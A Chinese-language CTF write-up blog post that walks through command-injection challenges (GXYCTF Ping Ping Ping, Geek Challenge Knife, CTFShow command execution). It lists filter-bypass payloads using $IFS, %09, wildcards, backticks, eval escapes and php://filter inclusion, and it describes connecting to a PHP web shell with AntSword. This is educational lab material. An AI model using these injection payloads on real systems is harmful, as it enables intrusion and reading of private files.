[GXYCTF2019]Ping Ping Ping

使用管道可以看文件 “/?IP=127.0.0.1|ls",但是直接cat发现空格被过滤了

过滤了大部分,查了之后,空格过滤有一下几种绕过的办法

  • ${IFS}替换
  • $IFS$1替换
  • ${IFS替换
  • %20替换
  • <和<>重定向符替换
  • %09替换

{}和flag都被过滤了,但是可以看一下index.php的源码

flag.<>.{}都被过滤了,只能使用变量拼接,构造Payload

Payload:/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

打开源码即可找到Flag

[极客大挑战 2019]Knife

这给的提示其实比较明显了,不过我个人喜欢用蚁剑

打开蚁剑,输入网址,类型PHP,密码Syc,连上在根目录即可找到flag

确实非常的白给

CTFShow 命令执行:

1.preg_match("/flag/i")是正则匹配过滤了flag并且对大小写不敏感,使用?绕过

Payload:?c=system("tac%20fla?.php");或/?c=system("tac fla*");

使用cat也可,不过可能在网页的源码里😥

2.这次过滤了system,就不能用平常的命令执行了

eval()函数就是把输入的字符串当作php代码去执行。
PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。

由此可以构造Payload

Payload:/?c=echo `tac *`;
或是先重命名再打开:/?c=`cp fla?.??? 2.txt`;

3.过滤了空格和cat,使用 %09代替空格绕过

Payload:/?c=echo%09`tac%09*`;


还有一种思路就是逃逸,也就是换一个变量来绕过正则

/?c=eval($_GET[1]);&1=system("cat%20flag.php");

4.这次增加了;的过滤和echo的过滤,使用文件包含+命令逃逸

Payload:?c=include%09$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
届ける言葉を今は育ててる
最后更新于 2022-03-15